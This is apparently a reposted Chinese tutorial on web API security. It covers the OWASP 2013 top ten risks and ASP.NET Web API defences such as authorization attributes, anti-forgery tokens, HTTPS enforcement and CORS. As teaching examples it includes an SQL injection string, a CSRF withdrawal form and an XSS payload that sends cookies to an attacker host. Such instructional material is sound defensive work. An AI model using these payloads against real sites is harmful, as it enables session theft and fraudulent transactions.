Web API 安全问题

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介:

目录

Web API 安全概览

先引用下wikipedia信息安全的定义:即保护信息免受未经授权的进入、使用、披露、破坏、修改、检视、记录及销毁,从而保证数据的机密性(Confidentiality)完整性(Integrity)可靠性(Availability)

机密性和完整性都很好理解,可靠性作为信息安全的一个重要原则这里特别解释一下,即访问信息的时候保证可以访问的到,有一种攻击方式叫DOS/DDOS,即拒绝服务攻击,专门破坏网站的可用性。

Information security, sometimes shortened to InfoSec, is the practice of defending information from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction.

围绕Web API安全,在不同的层次上有不同的防护措施。例如,

下图是一个概览。

security-overview

安全隐患

安全隐患种类繁多,这里简单介绍下OWASP 2013年票选前十位安全隐患

1. 注入(Injection)

注入是指输入中包含恶意代码(在解释器中会被作为语句执行而非纯文本),直接被传递给给解释器并执行,那么攻击者就可以窃取、修改或者破坏数据。

注入有很多种类型,最常见的如SQL注入、LDAP注入、OS命令注入等。

示例

以下代码是一个典型的SQL注入隐患

1
String query = "SELECT * FROM accounts WHERE customerName='"  + request.getParameter( "name" ) + "'" ;

如果输入中customerName后面加上一个' or '1'='1,可以想象所有的accounts表数据都回被返回。

防御

  • 通过封装API以参数形式来调用解释器,避免将整个解释器功能暴露给客户端。
  • 如果没有封装好的安全API,可以考虑将特殊字符转义之后再传递给解释器。
  • 更加激进一点的话可以提供一个输入的白名单,只有名单上的数据才可以进入解释器。

2. 无效认证和Session管理方式(Broken Authentication and Session Management)

开发人员经常自己编写认证或session管理模块,但是这种模块需要考虑的因素众多,很难正确完整的实现。所以经常会在登入登出、密码管理、超时设置、安全问题、帐户更新等方面存在安全隐患,给攻击者以可乘之机。

示例

  • 用户密码用明文保存,例如2011年12月多家网站数据泄露,其中就发现国内知名技术网站居然也用明文存储用户密码。单纯的客户密码复杂度高还是不够,服务器的坑爹的实现还是会导致客户裸奔。
  • 用户密码可以被特殊操作覆盖。例如不正确的实现密码更改功能、恢复密码功能等都有可能造成密码被直接更改。
  • 网页URL中包含Session ID。例如你发现一个有趣的网页,然后把链接通过聊天工具贴给其他人,但是这个链接中包含了你的session id,别人点击这个链接就直接使用了你的session,同时他也可以作任何你可以在该网站上允许的操作,例如买张手机冲值卡。
  • Session ID不会timeout,或者session/token/SSO token在登出的时候没有将其失效。
  • 用户认证信息、Session ID使用未加密连接传输。这里要提一下博客园的认证连接也是不加密的,通过抓报工具很容易抓到用户的密码信息。目前来说我们可以做的是为博客园专门设置一个密码,千万别用自己自己信用卡或支付宝密码。

防御

3. 跨站脚本(Cross-Site Scripting (XSS))

允许跨站脚本是Web 2.0时代网站最普遍的问题。如果网站没有对用户提交的数据加以验证而直接输出至网页,那么恶意用户就可以在网页中注入脚本来窃取用户数据。

示例

例如网站通过以下代码直接构造网页输出,

1
(String) page += "<input name='creditcard' type='TEXT' value='"  + request.getParameter( "CC" ) + "'>" ;

攻击者输入以下数据,

1
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.

当该数据被输出到页面的时候,每个访问该页面的用户cookie就自动被提交到了攻击者定义好的网站。

防御

  • 推荐将所有用户输入数据进行转义
  • 激进的方法是提供一个白名单控制用户输入
  • 对于富文本输入可以使用anti-xss library来处理输入,例如Microsoft AntiXSS library.

4. 直接对象引用(Insecure Direct Object References)

这个问题在动态网页中也相当普遍,指的是页面存在对数据对象的键/名字的直接引用,而网站程序没有验证用户是否有访问目标对象的权限。

示例

例如一个网站通过以下代码返回客户信息,

1
2
3
4
String query = "SELECT * FROM accts WHERE account = ?" ;
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter( "acct" ));
ResultSet results = pstmt.executeQuery( );

攻击者可以通过修改querystring来查询任何人的信息

防御

  • 使用用户级别Session级别间接对象引用,比如用户界面上下拉框中选项对应简单数字而不是对象的数据库键值,界面数字与对象键值之间的对应关系在用户级别或session级别维护。
  • 控制访问,在真正的操作之前判断用户是否有权限执行该操作或访问目标数据。

5. 错误的安全配置(Security Misconfiguration)

安全配置可能在各个级别(platform/web server/application server/database/framework/custom code)出错,开发人员需要同系统管理合作来确保合理配置。

示例

配置问题的范例比较多样,常见的几种如下,

  • 服务器使用过期或存在安全漏洞的软件
  • 安装了没有必要的功能
  • 系统默认帐户没有禁用或使用默认密码
  • 出错信息中包含错误细节(调用栈信息)
  • 使用的开发框架中的安全设置没有正确配置

防御

  • 开发可复用自动化流程来部署环境,保证开发,测试与生产环境具有相同配置
  • 及时更新软件、系统以及使用的框架
  • 架构设计充分考虑组件的安全边界分割
  • 使用专业扫描工具定期检查安全漏洞

6. 暴露敏感数据(Sensitive Data Exposure)

这种漏洞就是导致知名网站用户信息泄露的关键,通过明文存储敏感数据。

示例

  • 密码数据库中通过明文或者通过unsalted hash来存储。攻击通过文件上传漏洞得到密码文件,所有的密码都会泄露。
  • 另外一个典型示例就是用户登录使用未加密连接,这里不举例说明了。。。

防御

  • 加密所有必须的敏感数据
  • 避免存储不必须的敏感数据
  • 使用强加密算法
  • 使用专门设计的密码加密算法
  • 禁用包含敏感数据的form中的自动完成功能,禁用包含敏感数据的页面缓存

7. 功能级权限控制缺失(Missing Function Level Access Control)

功能级别权限控制一般是写在代码中或者通过程序的配置文件来完成,但是可惜的是开发者经常忘记添加一些功能的权限控制代码。

示例

例如以下链接本该只有admin才能访问,但如果匿名用户或者非admin用户可以直接在浏览器中访问该链接,说明网站存在功能级权限控制漏洞。

防御

  • 不要hard code权限控制,需要建立一种可以比较容易更新和监测权限控制的机制
  • 默认拒绝所有访问,访问任何功能都需要被赋予特定的权限
  • 如果某功能在一个workflow中,需要确认所有的前提条件都在正确的状态,然后允许访问该功能

8. 伪造跨站请求(Cross-Site Request Forgery)

同样是跨站请求,这种与问题3的不同之处在于这个请求是从钓鱼网站上发起的。

示例

例如钓鱼网站上包含了下面的隐藏代码,

这行代码的作用就是一个在example.com网站的转帐请求,客户访问钓鱼网站时,如果也同时登录了example.com或者保留了example.com的登录状态,那个相应的隐藏请求就会被成功执行。

防御

  • 推荐使用session级别的唯一token保存在hidden field,这样该值就会被包含在请求体中,这样钓鱼网站的请求就无法得知该token从而会使请求失效。

9. 使用已知安全隐患组件(Using Components with Known Vulnerabilities)

几乎每个程序都有这个问题,因为大多数人不会关心自己引用的库文件是否存在已知安全漏洞,而且一旦部署成功就不会再有人关心是否有组件需要升级。然而这些组件在服务器中运行,拥有相当高的权限去访问系统中的各种资源,一旦攻击者利用该组件已知漏洞,那么窃取或破坏信息也将不是难事。

示例

以下两个组件都存在已知的安全缺陷从而可以让攻击者获得服务器最高权限,但是在2011年他们被下载了22M次之多,但是其中有多少被更新了,多少还在继续使用呢。

防御

  • 确定系统使用的所有组件及其版本,包括相应的依赖组件
  • 关注这些组件相应的项目邮件组、issue数据库的安全更新
  • 定义组件安全使用策略,避免滥用组件
  • 如果可能的话对组件进行包装,从而禁用其不安全的功能

10. 未验证跳转(Unvalidated Redirects and Forwards)

很多网站都经常会需要进行页面跳转,而且有些跳转会根据用户输入来决定,这样就给了攻击者可乘之机,从而可能将用户导向恶意网站或者未授权链接。

示例

下面页面请求根据query string url字段来进行跳转,这样攻击者很容易伪造类似于以下的跳转链接将客户导向到钓鱼网站。

又如未授权用户通过下面链接跳过授权检查直接到admin页面

防御

  • 避免跳转
  • 不要根据用户输入来跳转
  • 如果必须根据输入跳转,验证该输入并且该用户具备访问该目标路径的权限
  • 如果必须根据输入跳转,推荐根据用户输入来内部决定对应的跳转目标,不直接使用输入

Web API安全机制

Web API包含了一套完整的安全机制,而且具备不错的扩展性,这一节我们主要介绍Web API提供的一些基本安全相关的功能。

认证与授权(Authentication and Authorization)

先给认证和授权下个定义。

什么是认证?简单来说认证就是搞清楚用户是谁。

什么是授权?授权就是搞清楚用户可以做什么。

认证

Web API的认证取决于宿主环境配置的认证方式,比如Web API host在IIS,那么在IIS相应的网站上认证配置抑或自定义的认证模块同样会作用于Web API。

在Web API中检查一个请求是否经过认证,可以通过以下属性来判断,

1
Thread.CurrentPrincipal.Identity.IsAuthenticated

如果程序需要采用自定义的认证方式,需要同时设置以下两个属性,

  • Thread.CurrentPrincipal. This property is the standard way to set the thread's principal in .NET.
  • HttpContext.Current.User. This property is specific to ASP.NET.
1
2
3
4
5
6
7
8
private  void  SetPrincipal(IPrincipal principal)
{
     Thread.CurrentPrincipal = principal;
     if  (HttpContext.Current != null )
     {
         HttpContext.Current.User = principal;
     }
}

授权

授权在我们编写API的时候经常会涉及到,Web API也提供了比较完整的授权检查机制。

如果我们想知道认证的用户信息,可以通过ApiController.User来查看。

1
2
3
4
5
6
7
public  HttpResponseMessage Get()
{
     if  (User.IsInRole( "Administrators" ))
     {
         // ...
     }
}

另外我们可以在不同级别使用AuthorizeAtrribute来控制不同级别的授权访问。

如果我们希望在全局所有的Controller控制授权,只有授权用户可以访问的话,可以通过以下方式,

1
2
3
4
public  static  void  Register(HttpConfiguration config)
{
     config.Filters.Add( new  AuthorizeAttribute());
}

如果希望控制在个别Controller级别,

1
2
3
4
5
6
[Authorize]
public  class  ValuesController : ApiController
{
     public  HttpResponseMessage Get( int  id) { ... }
     public  HttpResponseMessage Post() { ... }
}

如果希望控制在个别Action级别,

1
2
3
4
5
6
7
8
public  class  ValuesController : ApiController
{
     public  HttpResponseMessage Get() { ... }
 
     // Require authorization for a specific action.
     [Authorize]
     public  HttpResponseMessage Post() { ... }
}

如果希望允许个别Action匿名访问

1
2
3
4
5
6
7
8
[Authorize]
public  class  ValuesController : ApiController
{
     [AllowAnonymous]
     public  HttpResponseMessage Get() { ... }
 
     public  HttpResponseMessage Post() { ... }
}

如果希望允许个别用户或者用户组

1
2
3
4
5
6
7
8
9
10
11
// Restrict by user:
[Authorize(Users= "Alice,Bob" )]
public  class  ValuesController : ApiController
{
}
    
// Restrict by role:
[Authorize(Roles= "Administrators" )]
public  class  ValuesController : ApiController
{
}

伪造跨站请求(Cross-Site Request Forgery Attacks)

再来复习一遍什么是伪造跨站请求攻击

1. 用户成功登录了www.example.com,客户端保存了该网站的cookie,并且没有logout。

2. 用户接下来访问了另外一个恶意网站,包含如下代码

1
2
3
4
5
6
< h1 >You Are a Winner!</ h1 >
< form  action="http://example.com/api/account" method="post">
    < input  type="hidden" name="Transaction" value="withdraw" />
    < input  type="hidden" name="Amount" value="1000000" />
    < input  type="submit" value="Click Me"/>
</ form >

3. 用户点击submit按钮,浏览器向example.com发起请求到服务器,执行了攻击者期望的操作。

上面的事例需要用户点击按钮,但网页也可以通过简单的脚本直接在网页加载过程中自动发送各种请求出去。

 

正如我们之前提到的防御方案所说,ASP.NET MVC中可以通过下面简单的代码可以在页面中添加一个隐藏field,存放一个随机代码,这个随机码会与cookie一起在服务器通过校验。这样其他网站无法得到不同用户的随机代码,也就无法成功执行相应的请求。

1
2
3
@ using  (Html.BeginForm( "Manage" , "Account" )) {
     @Html.AntiForgeryToken()
}
1
2
3
4
5
< form  action="/Home/Test" method="post">
     < input  name="__RequestVerificationToken" type="hidden"  
            value="6fGBtLZmVBZ59oUad1Fr33BuPxANKY9q3Srr5y[...]" />   
     < input  type="submit" value="Submit" />
</ form >

对于没有form的ajax请求,我们无法通过hidden field来自动提交随机码,可以通过以下方式在客户端请求头中嵌入随机码,然后在服务器校验,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
< script >
     @functions{
         public string TokenHeaderValue()
         {
             string cookieToken, formToken;
             AntiForgery.GetTokens(null, out cookieToken, out formToken);
             return cookieToken + ":" + formToken;               
         }
     }
 
     $.ajax("api/values", {
         type: "post",
         contentType: "application/json",
         data: {  }, // JSON data goes here
         dataType: "json",
         headers: {
             'RequestVerificationToken': '@TokenHeaderValue()'
         }
     });
</ script >
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void  ValidateRequestHeader(HttpRequestMessage request)
{
     string  cookieToken = "" ;
     string  formToken = "" ;
 
     IEnumerable tokenHeaders;
     if  (request.Headers.TryGetValues( "RequestVerificationToken" , out  tokenHeaders))
     {
         string [] tokens = tokenHeaders.First().Split( ':' );
         if  (tokens.Length == 2)
         {
             cookieToken = tokens[0].Trim();
             formToken = tokens[1].Trim();
         }
     }
     AntiForgery.Validate(cookieToken, formToken);
}

安全链接(SSL)

对于需要启用安全链接的地址,例如认证页面,可以通过以下方式定义AuthorizationFilterAttribute,来定义哪些action必须通过https访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public  class  RequireHttpsAttribute : AuthorizationFilterAttribute
{
     public  override  void  OnAuthorization(HttpActionContext actionContext)
     {
         if  (actionContext.Request.RequestUri.Scheme != Uri.UriSchemeHttps)
         {
             actionContext.Response = new  HttpResponseMessage(System.Net.HttpStatusCode.Forbidden)
             {
                 ReasonPhrase = "HTTPS Required"
             };
         }
         else
         {
             base .OnAuthorization(actionContext);
         }
     }
}
1
2
3
4
5
public  class  ValuesController : ApiController
{
     [RequireHttps]
     public  HttpResponseMessage Get() { ... }
}

在Visual Studio里面测试的时候可以通过下面的设置来启用SSL链接

webapi_auth07

IIS中可以通过如下设置来启用SSL链接

1
2
3
4
5
6
7
< system.webServer >
     < security >
         < access  sslFlags="Ssl, SslNegotiateCert" />
         <!-- To require a client cert: -->
         <!-- <access sslFlags="Ssl, SslRequireCert" /> -->
     </ security >
</ system.webServer >

跨域请求(Cross-Origin Requests)

跨域请求与前面的跨站伪造请求类似,有些情况下我们需要在网页中通过ajax去其他网站上请求资源,但是浏览器一般会阻止显示ajax请求从其他网站收到的回复(注意浏览器其实发送了请求,但只会显示出错),如果我们希望合理的跨域请求可以成功执行并显示成功,我们需要在目标网站上添加逻辑来针对请求域启用跨域请求。

要启用跨域请求首先要从nuget上添加一个Cors库引用,

Install-Package Microsoft.AspNet.WebApi.Cors

然后在WebApiConfig.Register中添加以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
using  System.Web.Http;
namespace  WebService
{
     public  static  class  WebApiConfig
     {
         public  static  void  Register(HttpConfiguration config)
         {
             // New code
             config.EnableCors();
 
             config.Routes.MapHttpRoute(
                 name: "DefaultApi" ,
                 routeTemplate: "api/{controller}/{id}" ,
                 defaults: new  { id = RouteParameter.Optional }
             );
         }
     }
}

接下来就可以在不同级别使用EnableCors属性来控制启用跨域请求了,

Global级别

1
2
3
4
5
6
7
8
9
public  static  class  WebApiConfig
{
     public  static  void  Register(HttpConfiguration config)
     {
         var  cors = new  EnableCorsAttribute( "www.example.com" , "*" , "*" );
         config.EnableCors(cors);
         // ...
     }
}

Controller级别

1
2
3
4
5
6
7
8
9
10
[EnableCors(origins: "http://www.example.com" , headers: "*" , methods: "*" )]
public  class  ItemsController : ApiController
{
     public  HttpResponseMessage GetAll() { ... }
     public  HttpResponseMessage GetItem( int  id) { ... }
     public  HttpResponseMessage Post() { ... }
 
     [DisableCors]
     public  HttpResponseMessage PutItem( int  id) { ... }
}

Action级别

1
2
3
4
5
6
7
8
9
10
public  class  ItemsController : ApiController
{
     public  HttpResponseMessage GetAll() { ... }
 
     [EnableCors(origins: "http://www.example.com" , headers: "*" , methods: "*" )]
     public  HttpResponseMessage GetItem( int  id) { ... }
 
     public  HttpResponseMessage Post() { ... }
     public  HttpResponseMessage PutItem( int  id) { ... }
}

允许跨域请求如何做到的?

浏览器会根据服务器回复的头来检查是否允许该跨域请求,比如浏览器的跨域请求头如下,

1
2
3
4
5
6
7
8
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
Host: myservice.azurewebsites.net

如果服务器允许跨域,会添加一个Access-Control-Allow-Origin头来通知浏览器该请求应该被允许,

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Access-Control-Allow-Origin: http://myclient.azurewebsites.net
Date: Wed, 05 Jun 2013 06:27:30 GMT
Content-Length: 17
 
GET: Test message

 

本来还写了一个类似于博客园的投票页面,但是文章太长了,加载起来都费劲,下次一起贴出来。

 

转:http://www.cnblogs.com/developersupport/p/WebAPI-Security.html


本文转自左正博客园博客,原文链接:http://www.cnblogs.com/soundcode/p/4818736.html,如需转载请自行联系原作者

相关文章
|
1月前
|
存储 安全 API
如何对 API 进行安全加密?
对API进行安全加密是保障数据安全和系统稳定的重要措施
137 56
|
2月前
|
Java API 数据库
构建RESTful API已经成为现代Web开发的标准做法之一。Spring Boot框架因其简洁的配置、快速的启动特性及丰富的功能集而备受开发者青睐。
【10月更文挑战第11天】本文介绍如何使用Spring Boot构建在线图书管理系统的RESTful API。通过创建Spring Boot项目,定义`Book`实体类、`BookRepository`接口和`BookService`服务类,最后实现`BookController`控制器来处理HTTP请求,展示了从基础环境搭建到API测试的完整过程。
58 4
|
2月前
|
XML JSON API
ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
158 3
|
9天前
|
Kubernetes 安全 Devops
有效抵御网络应用及API威胁,聊聊F5 BIG-IP Next Web应用防火墙
有效抵御网络应用及API威胁,聊聊F5 BIG-IP Next Web应用防火墙
34 10
有效抵御网络应用及API威胁,聊聊F5 BIG-IP Next Web应用防火墙
|
3天前
|
安全 应用服务中间件 网络安全
实战经验分享:利用免费SSL证书构建安全可靠的Web应用
本文分享了利用免费SSL证书构建安全Web应用的实战经验,涵盖选择合适的证书颁发机构、申请与获取证书、配置Web服务器、优化安全性及实际案例。帮助开发者提升应用安全性,增强用户信任。
|
1月前
|
前端开发 API 开发者
Python Web开发者必看!AJAX、Fetch API实战技巧,让前后端交互如丝般顺滑!
在Web开发中,前后端的高效交互是提升用户体验的关键。本文通过一个基于Flask框架的博客系统实战案例,详细介绍了如何使用AJAX和Fetch API实现不刷新页面查看评论的功能。从后端路由设置到前端请求处理,全面展示了这两种技术的应用技巧,帮助Python Web开发者提升项目质量和开发效率。
52 1
|
1月前
|
SQL 负载均衡 安全
安全至上:Web应用防火墙技术深度剖析与实战
【10月更文挑战第29天】在数字化时代,Web应用防火墙(WAF)成为保护Web应用免受攻击的关键技术。本文深入解析WAF的工作原理和核心组件,如Envoy和Coraza,并提供实战指南,涵盖动态加载规则、集成威胁情报、高可用性配置等内容,帮助开发者和安全专家构建更安全的Web环境。
62 1
|
1月前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
91 4
|
1月前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
71 2
|
1月前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
94 3